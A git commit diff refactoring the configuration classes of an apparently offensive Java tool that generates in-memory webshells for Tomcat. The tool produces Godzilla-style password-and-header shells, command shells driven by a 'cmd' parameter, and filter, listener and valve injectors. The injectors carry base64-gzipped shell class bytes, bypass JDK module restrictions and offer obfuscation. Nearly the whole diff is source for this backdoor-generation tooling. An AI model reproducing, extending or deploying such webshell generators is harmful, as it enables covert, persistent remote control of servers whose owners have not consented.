refactor: separate generate config

This commit is contained in:
ReaJason
2024-12-07 01:49:12 +08:00
parent 85576ab6c7
commit ffbe1e454b
34 changed files with 387 additions and 518 deletions
@@ -1,13 +1,10 @@
package com.reajason.javaweb; package com.reajason.javaweb;
import com.reajason.javaweb.config.*; import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memsell.packer.JspPacker; import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell; import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import net.bytebuddy.jar.asm.Opcodes;
import java.io.IOException; import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
/** /**
* @author ReaJason * @author ReaJason
@@ -15,34 +12,27 @@ import java.nio.file.Paths;
*/ */
public class GeneratorMain { public class GeneratorMain {
public static void main(String[] args) throws IOException { public static void main(String[] args) throws IOException {
Server server = Server.TOMCAT; ShellConfig shellConfig = ShellConfig.builder()
ShellTool shellTool = ShellTool.Godzilla; .server(Server.TOMCAT)
String shellType = TomcatShell.JAKARTA_FILTER; .shellTool(ShellTool.Godzilla)
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder() .shellType(TomcatShell.LISTENER).build();
.pass("passFilter") GodzillaConfig godzillaConfig = GodzillaConfig.builder()
.key("keyFilter") .pass("pass123")
.key("key123")
.headerName("User-Agent") .headerName("User-Agent")
.headerValue("test") .headerValue("test")
.build(); .build();
GenerateResult generateResult = generate(server, shellTool, shellType, shellConfig, Opcodes.V11);
if (generateResult != null) { byte[] bytes = generate(shellConfig, new InjectorConfig(), godzillaConfig, Packer.INSTANCE.ScriptEngine);
String shellBytesBase64Str = generateResult.getShellBytesBase64Str(); if (bytes != null) {
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); System.out.println(new String(bytes));
Files.write(Paths.get(shellConfig.getShellClassName() + ".class"), generateResult.getShellBytes());
System.out.println(shellConfig.getShellClassName() + " : " + shellBytesBase64Str);
System.out.println(shellConfig.getInjectorClassName() + " : " + injectorBytesBase64Str);
System.out.println(shellConfig);
Files.write(Paths.get(shellConfig.getInjectorClassName() + ".class"), generateResult.getInjectorBytes());
JspPacker jspPacker = new JspPacker();
String jspContent = new String(jspPacker.pack(generateResult));
System.out.println(jspContent);
} }
} }
public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) { public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
switch (server) { switch (shellConfig.getServer()) {
case TOMCAT: case TOMCAT:
return TomcatShell.generate(shellTool, shellType, shellConfig, targetJdkVersion); return TomcatShell.generate(shellConfig, injectorConfig, shellToolConfig);
case BES: case BES:
break; break;
case RESIN: case RESIN:
@@ -52,6 +42,14 @@ public class GeneratorMain {
default: default:
throw new IllegalArgumentException("Unsupported server"); throw new IllegalArgumentException("Unsupported server");
} }
return GenerateResult.builder().build(); return null;
}
public static byte[] generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) {
GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
if (generateResult != null) {
return packerInstance.getPacker().pack(generateResult);
}
return null;
} }
} }
@@ -12,7 +12,7 @@ import lombok.experimental.SuperBuilder;
@Getter @Getter
@SuperBuilder @SuperBuilder
@ToString @ToString
public class CommandShellConfig extends ShellConfig { public class CommandConfig extends ShellToolConfig {
@Builder.Default @Builder.Default
private String paramName = "cmd"; private String paramName = "cmd";
} }
@@ -9,7 +9,7 @@ import org.apache.commons.codec.binary.Base64;
* @since 2024/11/24 * @since 2024/11/24
*/ */
@Data @Data
@Builder @Builder(builderClassName = "GenerateResultBuilder")
public class GenerateResult { public class GenerateResult {
private String shellClassName; private String shellClassName;
private transient byte[] shellBytes; private transient byte[] shellBytes;
@@ -18,10 +18,19 @@ public class GenerateResult {
private transient byte[] injectorBytes; private transient byte[] injectorBytes;
private String injectorBytesBase64Str; private String injectorBytesBase64Str;
private ShellConfig shellConfig; private ShellConfig shellConfig;
private ShellToolConfig shellToolConfig;
private InjectorConfig injectorConfig;
public GenerateResult encodeBase64() { public static class GenerateResultBuilder {
this.shellBytesBase64Str = Base64.encodeBase64String(shellBytes); public GenerateResult build() {
this.injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes); if (shellBytes != null) {
return this; shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
}
if (injectorBytes != null) {
injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
}
return new GenerateResult(shellClassName, shellBytes, shellBytesBase64Str,
injectorClassName, injectorBytes, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
}
} }
} }
@@ -13,7 +13,7 @@ import lombok.experimental.SuperBuilder;
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
@ToString @ToString
public class GodzillaShellConfig extends ShellConfig { public class GodzillaConfig extends ShellToolConfig {
@Builder.Default @Builder.Default
private String pass = "pass"; private String pass = "pass";
@Builder.Default @Builder.Default
@@ -22,4 +22,4 @@ public class GodzillaShellConfig extends ShellConfig {
private String headerName = "User-Agent"; private String headerName = "User-Agent";
@Builder.Default @Builder.Default
private String headerValue = CommonUtil.getRandomString(8); private String headerValue = CommonUtil.getRandomString(8);
} }
@@ -0,0 +1,43 @@
package com.reajason.javaweb.config;
import com.reajason.javaweb.util.CommonUtil;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
/**
* @author ReaJason
* @since 2024/12/5
*/
@Data
@NoArgsConstructor
@AllArgsConstructor
@Builder(toBuilder = true)
public class InjectorConfig {
/**
* 注入器模板类
*/
private Class<?> injectorClass;
/**
* 注入器类名
*/
@Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName();
/**
* 注入访问的地址
*/
@Builder.Default
private String urlPattern = "/*";
/**
* 内存马类名
*/
private String shellClassName;
/**
* 内存马类字节
*/
private byte[] shellClassBytes;
}
@@ -1,28 +1,60 @@
package com.reajason.javaweb.config; package com.reajason.javaweb.config;
import com.reajason.javaweb.util.CommonUtil;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Builder; import lombok.Builder;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import lombok.experimental.SuperBuilder;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/11/24 * @since 2024/12/6
*/ */
@Data @Data
@SuperBuilder @Builder
@NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
@NoArgsConstructor
public class ShellConfig { public class ShellConfig {
@Builder.Default /**
private String shellClassName = CommonUtil.generateShellClassName(); * 目标服务类型
@Builder.Default */
private String injectorClassName = CommonUtil.generateInjectorClassName(); Server server;
@Builder.Default
private String urlPattern = "/*"; /**
* 内存马功能
*/
ShellTool shellTool;
/**
* 内存马类型
*/
String shellType;
/**
* 生成类的目标 JDK 版本
*/
@Builder.Default @Builder.Default
private int targetJdkVersion = Constants.DEFAULT_VERSION; private int targetJdkVersion = Constants.DEFAULT_VERSION;
}
/**
* 是否开启混淆
*/
@Builder.Default
private boolean obfuscate = false;
/**
* 是否开启调试
*/
@Builder.Default
private boolean debug = false;
public boolean isJakarta() {
return StringUtils.containsIgnoreCase(shellType, "jakarta");
}
public boolean needByPassJdkModule() {
return targetJdkVersion >= Opcodes.V9;
}
}
@@ -0,0 +1,29 @@
package com.reajason.javaweb.config;
import com.reajason.javaweb.util.CommonUtil;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Data
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
public class ShellToolConfig {
/**
* 模板类 shellClass
*/
private Class<?> clazz;
/**
* shellClass 的类名
*/
@Builder.Default
private String className = CommonUtil.generateShellClassName();
}
@@ -1,14 +1,14 @@
package com.reajason.javaweb.memsell; package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.config.CommandConfig;
import com.reajason.javaweb.config.ShellConfig;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor; import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.Implementation; import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.implementation.SuperMethodCall; import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.matcher.ElementMatchers; import net.bytebuddy.matcher.ElementMatchers;
/** /**
@@ -17,15 +17,19 @@ import net.bytebuddy.matcher.ElementMatchers;
*/ */
public class CommandGenerator { public class CommandGenerator {
public static byte[] generate(Class<?> commandClass, String commandClassName, String paramName, boolean useJakarta, int targetJdkVersion) { public static byte[] generate(ShellConfig config, CommandConfig shellConfig) {
if (shellConfig.getClazz() == null) {
throw new IllegalArgumentException("shellConfig.getClazz() == null");
}
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("paramName").setsValue(paramName)); .andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName()));
DynamicType.Builder<?> builder = new ByteBuddy() DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(commandClass) .redefine(shellConfig.getClazz())
.name(commandClassName) .name(shellConfig.getClassName())
.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion)) .visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
.constructor(ElementMatchers.any()).intercept(fieldSets); .constructor(ElementMatchers.any()).intercept(fieldSets);
if (useJakarta) {
if (config.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
} }
@@ -2,11 +2,11 @@ package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.GodzillaConfig;
import com.reajason.javaweb.config.ShellConfig;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor; import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.implementation.SuperMethodCall; import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.matcher.ElementMatchers; import net.bytebuddy.matcher.ElementMatchers;
import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.codec.digest.DigestUtils;
@@ -16,34 +16,29 @@ import org.apache.commons.codec.digest.DigestUtils;
* @since 2024/11/23 * @since 2024/11/23
*/ */
public class GodzillaGenerator { public class GodzillaGenerator {
public static byte[] generate(ShellConfig config, GodzillaConfig shellConfig) {
if (shellConfig.getClazz() == null) {
throw new IllegalArgumentException("shellConfig.getClazz() == null");
}
String md5Key = DigestUtils.md5Hex(shellConfig.getKey()).substring(0, 16);
String md5 = DigestUtils.md5Hex(shellConfig.getPass() + md5Key).toUpperCase();
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, DynamicType.Builder<?> builder = new ByteBuddy()
String pass, String key, .redefine(shellConfig.getClazz())
String headerName, String headerValue) { .name(shellConfig.getClassName())
return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, false, Constants.DEFAULT_VERSION); .visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
} .constructor(ElementMatchers.any())
.intercept(SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("pass").setsValue(shellConfig.getPass()))
.andThen(FieldAccessor.ofField("key").setsValue(md5Key))
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
.andThen(FieldAccessor.ofField("headerName").setsValue(shellConfig.getHeaderName()))
.andThen(FieldAccessor.ofField("headerValue").setsValue(shellConfig.getHeaderValue())));
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion) { if (config.isJakarta()) {
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("pass").setsValue(pass))
.andThen(FieldAccessor.ofField("key").setsValue(md5Key))
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
.andThen(FieldAccessor.ofField("headerName").setsValue(headerName))
.andThen(FieldAccessor.ofField("headerValue").setsValue(headerValue));
DynamicType.Builder<?> builder = new ByteBuddy().redefine(godzillaClass)
.name(godzillaClassName);
builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion));
if (useJakarta) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
} }
builder = builder.constructor(ElementMatchers.any()).intercept(fieldSets);
try (DynamicType.Unloaded<?> make = builder.make()) { try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes(); return make.getBytes();
} }
@@ -3,6 +3,8 @@ package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor; import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.InjectorConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.util.CommonUtil; import com.reajason.javaweb.util.CommonUtil;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.ByteBuddy;
@@ -22,21 +24,19 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
public class InjectorGenerator { public class InjectorGenerator {
@SneakyThrows @SneakyThrows
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) { public static byte[] generate(ShellConfig config, InjectorConfig injectorConfig) {
return generate(injectClass, injectClassName, shellClassName, shellBytes, urlPattern, Constants.DEFAULT_VERSION); String base64String = Base64.encodeBase64String(
} CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()))
.replace(System.lineSeparator(), "");
@SneakyThrows
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern, int targetJdkVersion) {
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");;
DynamicType.Builder<?> builder = new ByteBuddy() DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(injectClass) .redefine(injectorConfig.getInjectorClass())
.name(injectClassName) .name(injectorConfig.getInjectorClassName())
.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion)) .visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(urlPattern, ""))) .method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
.method(named("getBase64String")).intercept(FixedValue.value(base64String)) .method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(shellClassName)); .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
if (targetJdkVersion >= Opcodes.V9) {
if (config.needByPassJdkModule()) {
builder = ByPassJdkModuleInterceptor.extend(builder); builder = ByPassJdkModuleInterceptor.extend(builder);
} }
@@ -44,4 +44,4 @@ public class InjectorGenerator {
return make.getBytes(); return make.getBytes();
} }
} }
} }
@@ -13,7 +13,6 @@ import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector; import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector; import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector; import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
import lombok.SneakyThrows;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
import java.util.HashMap; import java.util.HashMap;
@@ -66,55 +65,48 @@ public class TomcatShell {
COMMAND_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)); COMMAND_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
} }
@SneakyThrows public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) { Class<?> injectorClass = injectorConfig.getInjectorClass();
if (shellTool == null || shellType == null || shellConfig == null) {
throw new IllegalArgumentException("Invalid arguments: shellTool, shellType, and shellConfig cannot be null.");
}
Pair<Class<?>, Class<?>> classPair;
byte[] shellBytes; byte[] shellBytes;
boolean useJakarta = shellType.startsWith(JAKARTA); switch (shellConfig.getShellTool()) {
switch (shellTool) {
case Godzilla: { case Godzilla: {
classPair = GODZILLA_SHELL_MAP.get(shellType); Pair<Class<?>, Class<?>> classPair = GODZILLA_SHELL_MAP.get(shellConfig.getShellType());
GodzillaShellConfig godzillaConfig = (GodzillaShellConfig) shellConfig; if (injectorClass == null) {
shellBytes = GodzillaGenerator.generate(classPair.getLeft(), injectorClass = classPair.getRight();
godzillaConfig.getShellClassName(), }
godzillaConfig.getPass(), shellToolConfig.setClazz(classPair.getLeft());
godzillaConfig.getKey(), shellBytes = GodzillaGenerator.generate(shellConfig, (GodzillaConfig) shellToolConfig);
godzillaConfig.getHeaderName(),
godzillaConfig.getHeaderValue(),
useJakarta,
targetJdkVersion
);
break; break;
} }
case Command: { case Command: {
classPair = COMMAND_SHELL_MAP.get(shellType); Pair<Class<?>, Class<?>> classPair = COMMAND_SHELL_MAP.get(shellConfig.getShellType());
CommandShellConfig commandConfig = (CommandShellConfig) shellConfig; if (injectorClass == null) {
shellBytes = CommandGenerator.generate(classPair.getLeft(), injectorClass = classPair.getRight();
commandConfig.getShellClassName(), }
commandConfig.getParamName(), useJakarta, targetJdkVersion); shellToolConfig.setClazz(classPair.getLeft());
shellBytes = CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
break; break;
} }
default: default:
throw new UnsupportedOperationException("Unknown shell tool: " + shellTool); throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
} }
Class<?> injectorClass = classPair.getRight(); injectorConfig = injectorConfig
byte[] injectorBytes = InjectorGenerator.generate(injectorClass, .toBuilder()
shellConfig.getInjectorClassName(), .injectorClass(injectorClass)
shellConfig.getShellClassName(), .shellClassName(shellToolConfig.getClassName())
shellBytes, .shellClassBytes(shellBytes).build();
shellConfig.getUrlPattern(),
targetJdkVersion); byte[] injectorBytes = InjectorGenerator.generate(shellConfig, injectorConfig);
return GenerateResult.builder() return GenerateResult.builder()
.shellClassName(shellConfig.getShellClassName())
.shellBytes(shellBytes)
.injectorClassName(shellConfig.getInjectorClassName())
.injectorBytes(injectorBytes)
.shellConfig(shellConfig) .shellConfig(shellConfig)
.build().encodeBase64(); .shellToolConfig(shellToolConfig)
.injectorConfig(injectorConfig)
.shellClassName(shellToolConfig.getClassName())
.shellBytes(shellBytes)
.injectorClassName(injectorClass.getName())
.injectorBytes(injectorBytes)
.build();
} }
} }
@@ -11,7 +11,7 @@ import java.io.InputStream;
* @since 2024/11/24 * @since 2024/11/24
*/ */
public class CommandFilter implements Filter { public class CommandFilter implements Filter {
public String paramName; public String paramName = "{{paramName}}";
@Override @Override
public void init(FilterConfig filterConfig) throws ServletException { public void init(FilterConfig filterConfig) throws ServletException {
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason * @author ReaJason
*/ */
public class CommandListener implements ServletRequestListener { public class CommandListener implements ServletRequestListener {
public String paramName; public String paramName = "{{paramName}}";
public CommandListener() { public CommandListener() {
} }
@@ -15,7 +15,7 @@ import java.io.InputStream;
public class CommandValve implements Valve { public class CommandValve implements Valve {
protected Valve next; protected Valve next;
protected boolean asyncSupported; protected boolean asyncSupported;
public String paramName; public String paramName = "{{paramName}}";
public CommandValve() { public CommandValve() {
} }
@@ -13,11 +13,11 @@ import java.io.IOException;
* @author ReaJason * @author ReaJason
*/ */
public class GodzillaFilter extends ClassLoader implements Filter { public class GodzillaFilter extends ClassLoader implements Filter {
public String key; public String key = "{{key}}";
public String pass; public String pass = "{{pass}}";
public String md5; public String md5 = "{{md5}}";
public String headerName; public String headerName = "{{headerName}}";
public String headerValue; public String headerValue = "{{headerValue}}";
public GodzillaFilter() { public GodzillaFilter() {
} }
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason * @author ReaJason
*/ */
public class GodzillaListener extends ClassLoader implements ServletRequestListener { public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String md5; public String key = "{{key}}";
public String pass; public String pass = "{{pass}}";
public String key; public String md5 = "{{md5}}";
public String headerName; public String headerName = "{{headerName}}";
public String headerValue; public String headerValue = "{{headerValue}}";
public GodzillaListener() { public GodzillaListener() {
} }
@@ -17,11 +17,11 @@ import java.io.IOException;
public class GodzillaValve extends ClassLoader implements Valve { public class GodzillaValve extends ClassLoader implements Valve {
protected Valve next; protected Valve next;
protected boolean asyncSupported; protected boolean asyncSupported;
public String key; public String key = "{{key}}";
public String pass; public String pass = "{{pass}}";
public String headerName; public String md5 = "{{md5}}";
public String headerValue; public String headerName = "{{headerName}}";
public String md5; public String headerValue = "{{headerValue}}";
public GodzillaValve() { public GodzillaValve() {
} }
@@ -37,15 +37,15 @@ public class TomcatFilterInjector {
} }
public String getUrlPattern() { public String getUrlPattern() {
return "/*"; return "{{urlPattern}}";
} }
public String getClassName() { public String getClassName() {
return ""; return "{{className}}";
} }
public String getBase64String() { public String getBase64String() {
return ""; return "{{base64Str}}";
} }
static byte[] decodeBase64(String base64Str) throws Exception { static byte[] decodeBase64(String base64Str) throws Exception {
@@ -22,11 +22,11 @@ import java.util.zip.GZIPInputStream;
public class TomcatListenerInjector { public class TomcatListenerInjector {
public String getClassName() { public String getClassName() {
return ""; return "{{className}}";
} }
public String getBase64String() { public String getBase64String() {
return ""; return "{{base64Str}}";
} }
static { static {
@@ -22,20 +22,14 @@ import java.util.zip.GZIPInputStream;
*/ */
public class TomcatValveInjector { public class TomcatValveInjector {
public String getUrlPattern() {
return "/*";
}
public String getClassName() { public String getClassName() {
return ""; return "{{className}}";
} }
public String getBase64String() { public String getBase64String() {
return ""; return "{{base64Str}}";
} }
static { static {
new TomcatValveInjector(); new TomcatValveInjector();
} }
@@ -17,6 +17,7 @@ public class ClassUtils {
} }
@SneakyThrows @SneakyThrows
@SuppressWarnings("deprecation")
public static Object newInstance(byte[] bytes) { public static Object newInstance(byte[] bytes) {
Class<?> clazz = defineClass(bytes); Class<?> clazz = defineClass(bytes);
return clazz.newInstance(); return clazz.newInstance();
@@ -0,0 +1,19 @@
package com.reajason.javaweb.config;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2024/12/5
*/
class GodzillaShellConfigTest {
@Test
void test() {
GodzillaConfig shellConfig = GodzillaConfig.builder()
.pass("pass").build();
assertEquals("key", shellConfig.getKey());
}
}
@@ -1,33 +0,0 @@
package com.reajason.javaweb.memsell;
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter;
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.util.ClassUtils;
import org.apache.commons.io.IOUtils;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2024/11/23
*/
class GodzillaGeneratorTest {
String pass = "pass";
String key = "key";
String headerName = "User-Agent";
String headerValue = "test";
@Test
@Disabled("just for generate")
void testGenerate() throws IOException {
String className = "org.apache.utils.CommonFilter";
byte[] bytes = GodzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
IOUtils.write(bytes, Files.newOutputStream(Paths.get("CommonFilter.class")));
}
}
@@ -1,12 +1,17 @@
package com.reajason.javaweb.memsell.tomcat.command; package com.reajason.javaweb.memsell.tomcat.command;
import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.CommandConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.memsell.CommandGenerator; import com.reajason.javaweb.memsell.CommandGenerator;
import com.reajason.javaweb.util.ClassUtils; import com.reajason.javaweb.util.ClassUtils;
import org.apache.commons.codec.binary.Base64; import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.api.Test; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import java.util.stream.Stream;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/** /**
* @author ReaJason * @author ReaJason
@@ -14,14 +19,27 @@ import static org.junit.jupiter.api.Assertions.assertEquals;
*/ */
class CommandFilterTest { class CommandFilterTest {
@Test static Stream<Arguments> casesProvider() {
void testGenerate() { return Stream.of(
String className = "org.command.CommandFilter"; arguments(CommandFilter.class, "org.apache.utils.CommandFilter"),
String paramName = "cmd"; arguments(CommandListener.class, "org.apache.utils.CommandListener"),
byte[] bytes = CommandGenerator.generate(CommandFilter.class, className, paramName, false, Constants.DEFAULT_VERSION); arguments(CommandValve.class, "org.apache.utils.CommandValve")
);
}
@ParameterizedTest
@MethodSource("casesProvider")
void generate(Class<?> clazz, String className) {
ShellConfig generateConfig = new ShellConfig();
CommandConfig shellConfig = CommandConfig.builder()
.clazz(clazz)
.className(className)
.paramName("cmd")
.build();
byte[] bytes = CommandGenerator.generate(generateConfig, shellConfig);
Object obj = ClassUtils.newInstance(bytes); Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName()); assertEquals(shellConfig.getClassName(), obj.getClass().getName());
assertEquals(paramName, ClassUtils.getFieldValue(obj, "paramName")); assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
System.out.println(Base64.encodeBase64String(bytes));
} }
} }
@@ -1,38 +0,0 @@
package com.reajason.javaweb.memsell.tomcat.godzilla;
import com.reajason.javaweb.memsell.GodzillaGenerator;
import com.reajason.javaweb.util.ClassUtils;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import static org.junit.jupiter.api.Assertions.*;
/**
* @author ReaJason
* @since 2024/11/24
*/
class GodzillaFilterTest {
String pass = "pass";
String key = "key";
String headerName = "User-Agent";
String headerValue = "test";
@Test
void generate() {
String className = "org.apache.utils.CommonFilter";
byte[] bytes = GodzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName());
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
System.out.println(Base64.encodeBase64String(bytes));
}
}
@@ -1,32 +0,0 @@
package com.reajason.javaweb.memsell.tomcat.godzilla;
import com.reajason.javaweb.memsell.GodzillaGenerator;
import com.reajason.javaweb.util.ClassUtils;
import org.apache.commons.codec.binary.Base64;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2024/11/24
*/
class GodzillaListenerTest {
String pass = "pass";
String key = "key";
String headerName = "User-Agent";
String headerValue = "test";
@Test
void generate() {
String className = "org.apache.utils.CommonListener";
byte[] bytes = GodzillaGenerator.generate(GodzillaListener.class, className, pass, key, headerName, headerValue);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName());
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
System.out.println(Base64.encodeBase64String(bytes));
}
}
@@ -0,0 +1,53 @@
package com.reajason.javaweb.memsell.tomcat.godzilla;
